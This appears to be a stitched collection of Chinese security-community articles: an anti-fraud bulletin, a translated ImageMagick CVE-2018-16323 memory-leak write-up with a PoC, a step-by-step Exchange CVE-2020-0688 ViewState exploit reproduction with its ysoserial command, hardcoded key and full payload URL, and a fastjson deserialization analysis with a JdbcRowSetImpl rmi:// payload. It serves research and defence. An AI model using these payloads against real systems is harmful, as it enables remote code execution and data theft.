由于租机套现与分期套现的盛行，部分有贷款需求的人员，在常见贷款平台已经无法申贷的情况下，会选择租机套现。由于缺乏相应的售卖渠道，存在着大量以
**“租机套现”** 为名实施诈骗的现象。
## 新年“限量”发行纪念币，老年人投资忌盲目跟风
一些居心不良的骗子，打着“限量发行”、“高额回报”、“绝世珍藏”等惯用的幌子，用各种高大上的名头来包装纪念币，让人心动不已。一些老年人看见这么一个“稳赚不赔”的项目，既不想错过所谓的“独家渠道”，又想占点小便宜小赚一笔，自然就容易陷入“纪念币骗局”。
### 专家解读：
现在，很多老年人也踩了 **“纪念币投资”**
的坑。为了让“纪念币投资”看起来权威可靠，但事实上，这些外表华丽的“纪念币”，并没有任何投资的价值和升职空间，只是被包装出来的投资噱头。
## “股票交流群”上演剧本杀，终究一个人扛下了所有
以推荐股票为名，通过电话/短信等渠道与受害人取得联系，邀请进入股票交流群。群里“导师”直播授课，“股民”跟风购买并鼓吹盈利，受害人一旦盲目跟从，后期很可能全部亏损或无法提现。总结起来就是“导师”荐股、托儿叫好、给甜头诱入、割韭菜。
### 专家解读：
“大师荐股”套路多，而荐股诈骗使用的平台大多都是源码搭建，多存在 **伪造听课人数、控制大盘涨跌**
功能，使用误导性喊单话术，导致受害人投资亏损而越陷越深。
## 不可描述“群”，九元就能“寻开心
以色情视频为幌子，通过直播软件或付费视频，诱导用户支付观看。借助技术手段修改用户看到的支付金额界面，但实际支付的费用远高于界面显示的支付费用，骗取用户资金。
### 专家解读：
利用色情引导付费，在付费的过程中设置支付陷阱的手法，在黑灰产行业内被称为 **明雷、暗雷** 。前者显示支付金额，后者对支付界面进行技术遮挡，目的殊途同归。
## 裸聊背后的桃色陷阱，真心喂了狗，社死一瞬间
不法分子通过社交软件结交用户，在与用户聊天的过程中，套取个人信息，如姓名、职业、年龄。以 **请求用户帮助其增加直播间关注度**
为由，引导用户下载指定的虚假“直播”软件。通过QQ进行视频裸聊，利用裸聊的私密截图对用户进行多次敲诈勒索。
### 专家解读：
用户安装的虚假“直播”应用，实际是无法使用直播功能的，只是 **不法分子用来盗取用户手机通讯录的工具。**
借助一些虚拟摄像机软件及色情视频，模拟与用户裸聊，偷录私密图进行勒索。
## 一夜之间陷入网赌不能自拔，深陷情欲迷宫，任人“宰杀”
王先生通过网络结识了“女友”，在与对方聊天过程中，“女友”会告诉王先生某天赚了几千元，吸引王先生追问，顺势介绍起了投资理财（赌博）平台。王先生前期在对方的指导下确实获得了收益，后期追加投资后亏损，得知受骗。
### 专家解读：
通过谈情说爱的方式，引诱对方陷入投资陷阱后，再慢慢把钱榨干，行业内称之为 **“杀猪盘”**
，受害人就是那个待宰的“猪仔”，那些你听过或没听过的交友平台就是“找猪”的好去处。
**360安全专家提醒**
**骗术再百变，心中要牢记**
**不轻信、不汇款、不透露、不扫码**
**扫码查看更多防骗案例** | 社区文章 |
# CVE-2018-16323：如何利用 ImageMagick内存泄漏
|
##### 译文声明
本文是翻译文章，文章原作者 @ilja.bv，文章来源：medium.com
原文地址：<https://medium.com/@ilja.bv/yet-another-memory-leak-in-imagemagick-or-how-to-exploit-cve-2018-16323-a60f048a1e12>
译文仅供参考，具体内容表达以及含义原文为准。
作者:@barracud4_ @ttffdd
在本文中我们将讨论ImageMagick漏洞。
## 太长不看
[PoC 生成器](https://github.com/ttffdd/XBadManners) CVE-2018–16323 (XBM文件导致的内存泄漏)
什么是ImageMagick呢？来自其官网的说明：
> 使用ImageMagick®创建，编辑，撰写或转换位图图像。
>
> 它可读写超过200种格式的图像，包括PNG，JPEG，GIF，HEIC，TIFF，DPX，EXR，WebP，Postscript，PDF和SVG。
>
>
> 使用ImageMagick调整大小，翻转，镜像，旋转，扭曲，剪切和变换图像，调整图像颜色，应用各种特殊效果，或绘制文本，线条，多边形，椭圆和Bézier曲线。
这是一个十分强力的图像处理库。如果你进行搜索”如何在php中调整图像”或”如何裁剪图像”那么你就会找到很多有关如何使用ImageMagick的结果。
## 章节一： 又一次内存泄漏
在过去的两年中，ImageMagick组件几乎每个月都会有漏洞产生。幸运的是，这些漏洞大多都像是DoS(拒绝服务)这种无法造成严重安全问题的漏洞。但最近我们又发现了一个有趣的漏洞[CVE-2018-16323。](https://twitter.com/cvenew/status/1035958104918302720)
但遗憾的是，我们并没有在网络上发现任何这个漏洞详细利用分析。
我们只好自己动手，让我们看到对应这个CVE的
[代码提交](https://github.com/ImageMagick/ImageMagick/commit/216d117f05bff87b9dc4db55a1b1fadb38bcb786)
> 如果像素的十六进制值为负数，则XBM编码器将保留这段未初始化的数据。
恩~让我们先来了解下XBM文件格式，一个常见的XBM图像如下所示：
这非常像是一段C代码。这是一种十分古老的格式，在X Windows System中用于存储X
GUI所使用的光标和图标的位图。keyboard16_bits数组中每一个值代表了8个像素，每一个像素是一个bit，用于标记是黑色还是白色。因此没有负像素值，因为一个像素值可能有两个值。
在下文中，我们将该数组称为XBM主体数组。
接下来让我们来更仔细的查阅ImageMagick的源代码，并且寻找”像素值为负数”具有什么样的含义。我们需要关注[ReadXBMImage()](https://github.com/ImageMagick/ImageMagick/blob/216d117f05bff87b9dc4db55a1b1fadb38bcb786/coders/xbm.c#L171)函数。这个函数读取图像并准备用于图像处理的数据。其中的image变量像是包含了被处理的图像数据。([Line
225](https://github.com/ImageMagick/ImageMagick/blob/216d117f05bff87b9dc4db55a1b1fadb38bcb786/coders/xbm.c#L225))
紧接着，在[Line 344-348][xbm.c Line 344-348]处存在内存分配，并且指针data指向所分配的起始地址。指针p亦指向同一地址。
然后，[Line
352-360](https://github.com/ImageMagick/ImageMagick/blob/216d117f05bff87b9dc4db55a1b1fadb38bcb786/coders/xbm.c#L352)、[Line
365-371](https://github.com/ImageMagick/ImageMagick/blob/216d117f05bff87b9dc4db55a1b1fadb38bcb786/coders/xbm.c#L365)两段相同的代码用于处理不同版本的XBM图像。从提交日志中可以看出，两个版本的分支受到影响，我们只着眼于其中216d117f05bff87b9dc4db55a1b1fadb38bcb786这个提交。XBM主体数组在XBMInteger()中被读取，然后返回一个整型给变量c。接着在[Line
358](https://github.com/ImageMagick/ImageMagick/blob/216d117f05bff87b9dc4db55a1b1fadb38bcb786/coders/xbm.c#L358)存储在变量c中的值赋值给指针p指向的地址，然后指针递增。
在提交中，我们看到在以前的版本中，如果变量c是负数，则中断循环，这就是出现内存泄漏的原因。如果XBM主体数组的第一个值为负，则所有分配的内存都不会被初始化，就可能包含来自内存中的敏感数据，随后将进一步处理并从该数据生成新图像。在修补后的版本中，如果XBM正文数组的值为负，则ImageMagick会抛出错误。
现在让我们着眼于XBMInteger()函数。指针image和指针hex_digits是参数。hex_digits是一个在[Line
305](https://github.com/ImageMagick/ImageMagick/blob/216d117f05bff87b9dc4db55a1b1fadb38bcb786/coders/xbm.c#L305)被初始化的数组。这用于将XBM主体数组中十六进制值转化为对应的十进制值。XBMInteger读取XBM主体数组中的数据，并将其放入unsigned
int变量value。这里存在一个有趣的逻辑，此函数读取十六进制值，直到出现停止标记才停止。这意味着我们可以指定任意长度的十六进制值，因此可以不是char类型原本0-255之间的值，我们可以设置任何unsigned
int值，它将存储在变量value中。而下面的处理将变量value将转换为signed int。好了这里就是重头戏了。
所以我们只需要为XBM主体数组设置一个值，然后利用XBMInteger()将该数组将转换为一个负int值即可。那么这个值应该是十六进制中大于2,147,483,647或0x80000000的任何值。
如下形式即是一种满足条件的PoC
#define test_width 500
#define test_height 500
static char test_bits[] = {
0x80000001, };
泄漏的内存的量取决于设置高度和宽度参数。
因此，如果设置500×500，则会泄漏31250（500 * 500/8）字节！
但这取决于应用程序如何使用ImageMagick，它可能会将图像切割到一定的高度和宽度。
当我们在尝试这个PoC的时候，我们有一些新的发现，并不是像[cvedetails](https://www.cvedetails.com/cve/CVE-2018-16323/)中所描述的所有低于
7.0.8–9的ImageMagick都收到影响。而是在一个修复CVE-2017-14175(这是一个XBM处理图像时会触发DoS的漏洞)的提交中产生的该漏洞。
好的，确切的确定了影响版本。让我们试试PoC吧。首先我们安装一个易受攻击的版本（例如6.9.9-51）。现在，运行
convert poc.xbm poc.png
我们将使用xbm.c文件中的函数处理XBM图像。因此触发了含有漏洞的代码。
生成的图像应如下所示：
你可以在生成的图像上看到一些噪点，这是一个泄漏的内存块，每个黑色或白色像素都是泄漏内存中的一些信息。如果你重复转换，那么你可能会得到另一个图像，因为将捕获的可能是另一个内存块。
那么我们该如何提取泄漏内存中的确切信息呢？
只需将其转换回来
convert poc.png leak.xbm
现在我们在XBM主体数组中看到泄漏的内存字节，这将变得容易处理。
那么整个漏洞的利用步骤如下
1. 生成一个PoC
2. 上传这个图像到受影响的应用中
3. 存储结果图片
4. 将其转换为xbm格式以提取信息
[ttffdd](https://twitter.com/_ttffdd_)为这个名为XBadManners的漏洞编写了一个简单易用的[工具](https://github.com/ttffdd/XBadManners)。它可以生成PoC并从图像中恢复泄露的数据。
## 章节二：ImageMagick安全吗？
简而言之： 不安全
它不是ImageMagick软件中发现的第一个严重漏洞。
在这之前已经有了很多影响面广，危害大的漏洞。
ImageMagick已有近500个已知的固定漏洞！
每个月都会被发现一些可能难以利用或不适用的新漏洞，并且每年都会被发现一些具有高影响的严重漏洞。
以下是众所周知的ImageMagick漏洞中最严重的列表。
ImageMagick中最著名的一系列漏洞。
它包括RCE，SSRF，svg和mvg文件中的本地文件读取/移动/删除。
它于2016年4月由stewie和Nikolay Ermishkin发现。
* CVE-2016–3714 — RCE
* CVE-2016–3718 — SSRF
* CVE-2016–3715 — File deletion
* CVE-2016–3716 — File moving
* CVE-2016–3717 — Local file read
Patch发布在2016-04-30 ImageMagick版本号为6.9.3-9。这个漏洞非常受bug hunters的欢迎：
* [Yahoo ImageTragick](https://www.zdnet.com/article/yahoos-polyvore-vulnerable-to-imagemagick-flaw-researcher-receives-little-reward/)
* [HackerOne ImageTragick](https://hackerone.com/reports/135072)
* [Facebook ImageTragick 2017](https://4lemon.ru/2017-01-17_facebook_imagetragick_remote_code_execution.html)
CVE-2017-15277 a.k.a. gifoeb
由Emil Lerner于2017年7月发现。
此漏洞是GIF图像处理中的内存泄漏。
如果不存在全局调色板或局部调色板，则ImageMagick会使调色板保持未初始化状态，并且内存泄漏恰好通过调色板发生。
调色版的存储大小会限制泄露数据的长度。
这个漏洞也很受bug hunters的欢迎。
* [Gifoeb at HackerOne](https://hackerone.com/reports/302885)
* [Gifoeb at Twitter](https://hackerone.com/reports/315906)
* [Gifoeb at MailRu](https://hackerone.com/reports/251732)
GhostScript Type Confusion RCE (CVE-2017–8291)
在2017年5月发现的。它不是ImageMagick漏洞，但ImageMagick受到影响，因为ImageMagick使用ghostscript处理PostScript的某些类型的图像，即EPS，PDF文件。
* [Metasploit module](https://www.rapid7.com/db/modules/exploit/unix/fileformat/ghostscript_type_confusion)
CVE-2018-16509
GhostScript中的另一个RCE，于2018年8月发布。同样影响ImageMagick，就像GhostScript一样，就像之前的bug一样。
* [Discussion on Google Project Zero](https://bugs.chromium.org/p/project-zero/issues/detail?id=1640)
* [Details](https://medium.com/@NumbShiva/imagemagic-rce-f364a9f50a14)
* [ExploitDB](https://www.exploit-db.com/exploits/45369/)
有多少其他带有严重安全问题的漏洞仍然未知？
我们不知道。
我们专门准备了ImageMagick安全漏洞的小历史图解。
## 章节三： 我们如何以安全的方式使用ImageMagick？
停止使用ImageMagick？这也许是个主意，但。。。我们不会告诉你让你停止使用ImageMagick。
我们建议你以安全的方式执行此操作以降低信息安全风险。
首先，您可能已经注意到ImageMagick的漏洞不断出现，因此它也经常更新。
如果您使用ImageMagick，请注意新版本并确保始终安装最新版本。
请注意，ImageMagick不会在官方存储库中频繁更新，因此它可能包含旧的易受攻击的版本。最好从源代码安装稳定的ImageMagick版本。
但正如从我们的示例中看到的那样，修复旧漏洞可能会带来新的漏洞:)
因此，保持更新ImageMagick可能无法完全解决你的担忧。
ImageMagick的最佳实践是在像Docker这样的隔离环境中运行它。
设置使用ImageMagick的服务的最低必需权限。
将其置于具有最小网络权限的隔离网段中。
并且仅使用此隔离环境来执行使用ImageMagick处理自定义用户图像的特定任务。
ImageMagick也拥有可以配置的[安全策略](https://imagemagick.org/source/policy.xml)。
[在这里](https://imagemagick.org/script/security-policy.php)，您可以找到有关开发人员ImageMagick安全性的详细指南。 | 社区文章 |
漏洞编号：CVE-2020-0688
漏洞描述：攻击者向存在缺陷的Exchange服务器发送经过特殊处理的电子邮件即可触发漏洞。这个漏洞是由于Exchange服务器在安装时没有正确地创建唯一的加密密钥所造成的。
具体来说，与每次软件安装都会产生随机密钥不同，所有Exchange
Server在安装后的web.config文件中都拥有相同的validationKey和decryptionKey。这些密钥用于保证ViewState的安全性。而ViewState是ASP.NET
Web应用以序列化格式存储在客户机上的服务端数据。客户端通过__VIEWSTATE请求参数将这些数据返回给服务器。攻击者可以在Exchange
Control Panel web应用上执行任意.net代码。
参考链接：<https://nosec.org/home/detail/4158.html>
影响版本：exchange 2010、2013、2016、2019全版本通杀。
漏洞复现：
复现环境：server 12 + exchange 2013 15.0.516.32（2012
年12月3日）和15.0.1497.2（2019年6月18日）两版。
复现过程：
1、获取ViewStateUserKey值
/ecp/default.aspx
F12键打开开发工具的Network选项，然后按F5重新发送请求。我们需要找到登录时/ecp/default.aspx的原始响应：
2、获取取 **VIEWSTATEGENERATOR值：
同样在/ecp/default.aspx的响应包内，直接搜索关键词即可。
或使用document.getElementById("**VIEWSTATEGENERATOR").value
如果发现没有改字段，是因为系统没有安装KB2919355补丁，更新该补丁后可显示，但是该字段值基本唯一，不需要刻意获得。
3.整理已知参数
\--validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF（默认，漏洞产生原因）
\--validationalg = SHA1（默认，漏洞产生原因）
\--generator = B97B4E27（基本默认）
\--viewstateuserkey = d673d1a4-1794-403e-ab96-e283ca880ef2（手工获取，变量，每次登陆都不一致）
4.生成payload:
.\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "calc.exe"
--validationalg="SHA1"
--validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF"
--generator="B97B4E27"
--viewstateuserkey="d673d1a4-1794-403e-ab96-e283ca880ef2" --isdebug --islegacy
5.上面ysoserial.exe生成的payload要用URL Encode编码：
6.完整的攻击地址示例：
[https://192.168.1.248/ecp/default.aspx?__VIEWSTATEGENERATOR=B97B4E27&__VIEWSTATE=%2FwEyhAYAAQAAAP%2F%2F%2F%2F8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAACmBDxSZXNvdXJjZURpY3Rpb25hcnkNCiAgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiINCiAgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiDQogIHhtbG5zOlN5c3RlbT0iY2xyLW5hbWVzcGFjZTpTeXN0ZW07YXNzZW1ibHk9bXNjb3JsaWIiDQogIHhtbG5zOkRpYWc9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PXN5c3RlbSI%2BDQoJIDxPYmplY3REYXRhUHJvdmlkZXIgeDpLZXk9IiIgT2JqZWN0VHlwZSA9ICJ7IHg6VHlwZSBEaWFnOlByb2Nlc3N9IiBNZXRob2ROYW1lID0gIlN0YXJ0IiA%2BDQogICAgIDxPYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICAgICAgPFN5c3RlbTpTdHJpbmc%2BY2FsYy5leGU8L1N5c3RlbTpTdHJpbmc%2BDQogICAgIDwvT2JqZWN0RGF0YVByb3ZpZGVyLk1ldGhvZFBhcmFtZXRlcnM%2BDQogICAgPC9PYmplY3REYXRhUHJvdmlkZXI%2BDQo8L1Jlc291cmNlRGljdGlvbmFyeT4Lp73ado0NJN2PSSnfOoN9h4H7xCU%3D](https://192.168.1.248/ecp/default.aspx?__VIEWSTATEGENERATOR=B97B4E27&__VIEWSTATE=%2FwEyhAYAAQAAAP%2F%2F%2F%2F8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAACmBDxSZXNvdXJjZURpY3Rpb25hcnkNCiAgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiINCiAgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiDQogIHhtbG5zOlN5c3RlbT0iY2xyLW5hbWVzcGFjZTpTeXN0ZW07YXNzZW1ibHk9bXNjb3JsaWIiDQogIHhtbG5zOkRpYWc9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PXN5c3RlbSI%2BDQoJIDxPYmplY3REYXRhUHJvdmlkZXIgeDpLZXk9IiIgT2JqZWN0VHlwZSA9ICJ7IHg6VHlwZSBEaWFnOlByb2Nlc3N9IiBNZXRob2ROYW1lID0gIlN0YXJ0IiA%2BDQogICAgIDxPYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICAgICAgPFN5c3RlbTpTdHJpbmc%2BY2FsYy5leGU8L1N5c3RlbTpTdHJpbmc%2BDQogICAgIDwvT2JqZWN0RGF0YVByb3ZpZGVyLk1ldGhvZFBhcmFtZXRlcnM%2BDQogICAgPC9PYmplY3REYXRhUHJvdmlkZXI%2BDQo8L1Jlc291cmNlRGljdGlvbmFyeT4Lp73ado0NJN2PSSnfOoN9h4H7xCU%3D)
7.成功弹出计算器：
//ysoserial.exe下载：
<https://github.com/pwntester/ysoserial.net>
<https://github.com/Jumbo-WJB/CVE-2020-0688>
<https://github.com/random-robbie/cve-2020-0688>
//Exchange版本和各更新包下载：
<https://docs.microsoft.com/zh-cn/Exchange/new-features/build-numbers-and-release-dates?view=exchserver-2016>
8.无法创建文件
无法创建文件这一点其实最坑了，明明可以启动calc.exe但是就是不能创建文件，导致我最初一直以为是版本问题或者__VIEWSTATEGENERATOR参数问题。但是后来经过测试发现虽然在演示过程中直接-c
"echo OOOPS!!! > c:/Vuln_Server.txt"创建文件，让人误以为-c是在cmd窗口下运行，但是实际上-c实际为“运行”的内容，因此直接echo是不行的，需要-c "cmd /c echo test > C:\1.txt"这样创建。 | 社区文章 |
**作者：Lucifaer**
**博客：<https://www.lucifaer.com/>**
* 其实最近爆出的这个rce在去年的时候就有更新，poc在github的[commit记录](https://github.com/alibaba/fastjson/commit/be41b36a8d748067ba4debf12bf236388e500c66)中也有所体现，之前已经有很多非常好的分析文章对整个漏洞进行了详尽的分析，我这里只记录一下自己的跟踪过程，以及在跟踪时所思考的一些问题。
# 0x01 Fastjson化流程简述
在[廖大2017年的一篇博文中](http://xxlegend.com/2017/12/06/基于JdbcRowSetImpl的Fastjson RCE
PoC构造与分析/)就对Fastjson的反序列化流程进行了总结：
在具体的跟进中也可以很清晰的看到如图所示的架构。
对于编程人员来说，只需要考虑Fastjson所提供的几个静态方法即可，如：
* JSON.toJSONString()
* JSON.parse()
* JSON.parseObject()
并不需要关注json序列化及反序列化的过程。深入Fastjson框架，可以看到其主要的功能都是在`DefaultJSONParser`类中实现的，在这个类中会应用其他的一些外部类来完成后续操作。`ParserConfig`主要是进行配置信息的初始化，`JSONLexer`主要是对json字符串进行处理并分析，反序列化在`JavaBeanDeserializer`中处理。
在真实的调试过程中会遇到一些非常好玩的问题，而在其它文章中并没有对这些进行完整的叙述，我这里结合自己的理解来说一说。以下的调试的例子的demo为：
jsonString即为poc的内容：
{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"f":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://asdfasfd/","autoCommit":true}},age:11}
poc（或者不如说是对于传入的json字符串）的处理过程简单来说分为这几部分:
1. `DefaultJSONParser`的初始化
2. 这一步是`parseObject()`是否指定了第二个参数，也就是是否指定了`clazz`字段：
* 如果指定了`clazz`字段，则首先根据`clazz`类型来获取相应`deserializer`，如果不是`initDeserializers`中的类的话，则会调用`JavaBeanDeserializer#deserialze`转交`FastjsonASMDeserializer`利用Fastjson自己实现的ASM流程生成处理类，调用相应的类并将处理流程转交到相应的处理类处理json字符串内容。（这里的描述有一些些问题，后面会尽量相近的描述一下）
* 如果未指定，则直接交给`StringCodec`类来处理json字符串。
3. 最终都转交由`DefaultJSONParser#parse`中根据`lexer.token`来选择处理方式，这里的例子中都为12也就是`{`（因为要处理json字符串需要一个起始标志位，所以判断当前json字符串的token是很重要的），接下来就是对json字符串进行处理（这里是一个循环处理，摘取类似`"name":"123"`这样的关系）。
4. 判断解析的json字符串中是否存在`symbolTable`中的字段（如`@type`，`$ref`这样的字段），如果出现了`@type`则交由`public final Object parseObject(final Map object, Object fieldName)`来处理，然后重复步骤2的过程知道执行成功或报错。
## 1.1 DefaultJSONParser的初始化过程
初始化过程非常的简单，分两部分，一部分为`ParserConfig`的初始化，另外一部分为`DefaultJSONParser`的初始化。
`ParserConfig`的初始化是在`com.alibaba.fastjson.JSON`中调用的：
一路跟到`ParserConfig#ParserConfig`方法中：
前面指定了asm的工厂类，并进行了实例化，后面是初始化`deserializers`，将用户自定义黑白名单加入到原有的黑白名单中。
`DefaultJSONParser`的初始化是在`com.alibaba.fastjson.JSON#parseObject`中调用并完成的：
这里初始化了`DefaultJSONParser`之后调用了其`parseObject`方法进行后续的操作。
跟进`DefaultJSONParser`可以看到`JSONScanner`的实例化以及`lexer.token`的初始化设置：
## 1.2 获取对应的derializer
进入到这里步就稍微有点复杂了，需要仔细跟进一下。根据上一节我们可以看到完成初始化操作后主要的处理流程集中于`T value = (T)
parser.parseObject(clazz, null);`这一步的操作中，跟进看一下具体流程：
简单来说就是一个根据type获取对应的`derializer`并且调用`derializer.deserialze`进行处理的过程，这里的config是之前初始化的`ParserConfig`。这里要注意的是`type`这个参数，跟踪了整个流程后会发现，如果在写代码时指定了第二个参数如`Group
group = JSON.parseObject(jsonString,
Group.class);`则第二个参数也就是`Group.class`即为`type`如果未指定第二个参数的话将会获取第一个参数的类型作为`type`，当未指定第二个参数的时候将会调用与第一个参数类型相符的方法来处理：
了解了这些后，就可以跟进看一下`getDeserializer`的实现了：
首先会尝试在`deserializers`中匹配`type`的类型，如果匹配到了就返回匹配的`derializer`，否则就判断是否是Class泛型的接口，如果是则调用`getDeserializer((Class<?>)
type, type)`继续处理，这一部分代码很长，我只截最关键的一个地方：
当类不显式匹配上面的情况时，就会调用`createJavaBeanDeserializer`来创建一个新的`derializer`，并将其加入到`deserializers`这个map中。接下来跟进`createJavaBeanDeserializer`的处理流程，我截取了关键的一部分：
在这里首先会根据类名和propertyNamingStrategy生成beanInfo，之后利用asm工厂类的`createJavaBeanDeserializer`生成处理类：
写过asm的应该可以一眼看出这里是用asm来生成处理类，分别生成构造函数，`deserialze`方法和`deserialzeArrayMapping`方法。我们来看一下asm生成的类是什么样的。这里由于代码很多我只截取一些关键的地方：
至此便完成了利用asm生成处理类的过程了。
## 1.3 处理类的处理流程
上一节中我们已经动态生成了`FastjsonASMDeserializer_1_Group`这个处理类，那么现在可以继续向下跟进，看看后续的处理流程是怎么样的。
首先，跟进一下构造函数：
这里利用`createFieldDeserializer`将`type`类中的变量等信息转换为`FieldDeserializer`类型，并存储到`sortedFieldDeserializers`这个数组中，这里可以记一下这个数组的名字，后面会用到：
在完成构造函数后，根据上文的跟踪，就会调用asm生成的处理类中的`deserialze`方法，由于我这里是把生成的bytecode抓下来写成文件来看的，所以很多东西看的不是很清晰，但是整段处理的关键点在于最后的return：
其中的各个参数为：
跟进`parseRest`来看一下：
这里直接调用了`JavaBeanDeserializer#deserialze`。这里我截取几处比较关键的代码：
这里需要注意的有两个变量：`beanInfo`和`sortedFieldDeserializers`，这两个变量的生成过程上文都有提及，根据这两个变量的值，我们能很好的理解`JavaBeanDeserializer#deserialze`这部分的代码，这里会遍历整个`sortedFieldDeserializers`中所有的key，并尝试根据类型来提取jsonstring中相应的信息，如果成功则转交给asm生成的处理类的createInstance实例化对象，如果不成功则扫描jsonstring中是否具有特殊的指令集，如果有，则尝试解析指令集否则就报错。下面具体看一下处理的流程：
如果失败则尝试解析指令集：
可以看到这里会尝试解析`$ref`和`@type`，如果匹配到了`@type`且其内容为string，则尝试利用`lexer.stringVal()`通过字符串截取来获取其内容：
但是由于我们发送的jsonstring中是没有与`sortedFieldDeserializers`所对应的键名的，所以这里仍无法匹配到。因为没有办法找到与设定的type相符的键，这个时候获取到的内容为空，fastjson会将当前这个字段判断为一个键值，根据当前符号的下一个符号来判断这个键所对应的值是什么类型，如果是`{`则这个键所对应的值也是一个key-value的格式，如果是`"`则为具体的值。在当前例子中，我们知道下一个字段应为`{`，fastjson在处理时会再次调用`parseObject`来处理这个新的键值对格式，下面便是如何将处理流程转交`parserObject`进行二次处理的过程。这里需要用到`FieldDeserializers`来进行解析了：
跟进`parseField`中，关键的处理流程为：
继续跟进：
这里首先通过`fieldInfo.fieldClass`和`fieldInfo.fieldType`来获取`fieldValueDeserilizer`由于这里对应的jsonstring是string类型，则这里最后获取到的`fieldValueDeserilizer`是`StringCodec`。所以接下来就是跟进`StringCodec#deserialze`中：
传入的clazz应为String类型，而非StringBuffer或StringBuilder，所以继续跟进`deserialze`：
最终调用`DefaultJSONParser#parse`解析jsonstring：
现在解析的位置应为`{`所对应的的token，所以应为12，也就是LBRACE，这里将调用`parseObject`来对jsonstring进行解析，我这里截取关键部分：
在这段代码的前面都是lexer对jsonstring的截取和处理操作，当检测到jsonstring中含有以`@type`为键名的字段后，获取其值，将值传入`checkAutoType`中做长度检测以及黑白名单的检测:
如果通过的话，则调用`config.getDeserializer`获取clazz的类：
根据jsonstring中的`val`字段来获取obj的值：
这里将`objVal`的名称以字符串的形式赋值给`strVal`。后面会根据`clazz`的类型将处理流程转交给不同的流程这里由于指定了`java.lang.class`所以是转交到`TypeUtils.loadClass`来处理的：
前面将对传入的`className`进行解析，如果符合相应格式就会进行相应的解析（这里也是之前漏洞所在地），而后面的则会判断`cache`是否为`true`，如果为真则将实例化后的类加入到mappings中（这也是这次漏洞的核心），最终都将把实例化后的类进行返回。
# 0x02 Fastjson gadget流程
其实在前文都有涉及，在这里将化繁为简，总结一下关键点在哪几个地方。
## 2.1 jsonstring解析简述
纵观整个Fastjson的处理流程，可以注意到对jsonstring的核心处理流程是在`DefaultJSONParser#parse(Object
fieldName)`中根据jsonstring的标志位来进行分发的，常见有两种情况：
# 正常的kv结构
{"k":"v"}
# 嵌套结构
{"k":{"kk":"vv","kk":"vv"},"k":{"k":"kk","kk":"vv","kk":"vv"}},k:v}
而Fastjson的解析方式会首先判断当前标志位是什么，这里拿完整的解析过程来举个例子：
最开始解析的标志位为`{`
1. 判断下一个标志位是否为`"`，如果是`"`则提取key值，这时的标志位为`"`。
2. 判断下一个标志位是否为`:`：
* 如果为`:`则判断下一个标志位是否为`"`，如果是，则获取value值，这时的标志位为`"`。
* 如果为`{`则重复1、2的过程。
3. 判断下一个标志位是否为`}`：
* 如果为`}`则表示这一个单元的解析结束
* 如果为`,`则表示要解析下一个kv的数据，重复1、2、3
根据不同的标志位进行不同的解析。当解析的过程中碰到了`@type`或`$ref`时，将当做特殊的标志做相应的处理。
## 2.2 checkAutoType黑名单检测
当解析过程中找到了`@type`这个关键的标志时，将提取其所对应的值，并检测这个值是否在黑名单中：
先过黑名单再过白名单，这样保证了`@type`所引用的类是较为安全的。
## 2.3 deserialze流程
jsonstring经过解析且经过安全性验证后，最终都要变成相应的对象，而变成对象的过程就是利用反射完成的，这个过程就是反序列化的过程。而该过程主要在`DefaultJSONParser#parseObject`中调用`deserializer.deserialze()`完成：
这里会根据`@type`所指定的类来获取或生成反序列化类，完成反序列化过程，这里如果是在预定数组中的类的话就可以直接调用相关类的`deserialze`方法完成反序列化操作：
如果没有则会进入asm创建处理类的流程。
## 2.4 gadget执行的关键——反射调用
在具体进行反射前还有一个操作，将会解析看jsonstring中是否存在`val`字段，如果有，则将其提取出来赋给`objVal`，并将`objVal`的类名赋值给`strVal`：
之后根据`clazz`类型交由不同的流程来处理：
当`clazz`是一个class类型时，就会进入`TypeUtils.loadClass`中根据`strVal`进行类调用:
这里有两个点需要注意，而这两个点就是造成Fastjson两个rce的关键点。
* 第一个点会对传入的`@type`的值进行解析，如果符合相应的格式则直接进行类加载。
* 第二个点首先会反射调用`@type`的值所设置的类，然后将其加入到mappings中，当后面再次经过`checkAutoType`时，将会调用：
将首先从mappings中获取和`typeName`相同的类，也就是说这里在进行黑名单检测前就已经返回了类，从而绕过了黑名单。
# 0x03 总结
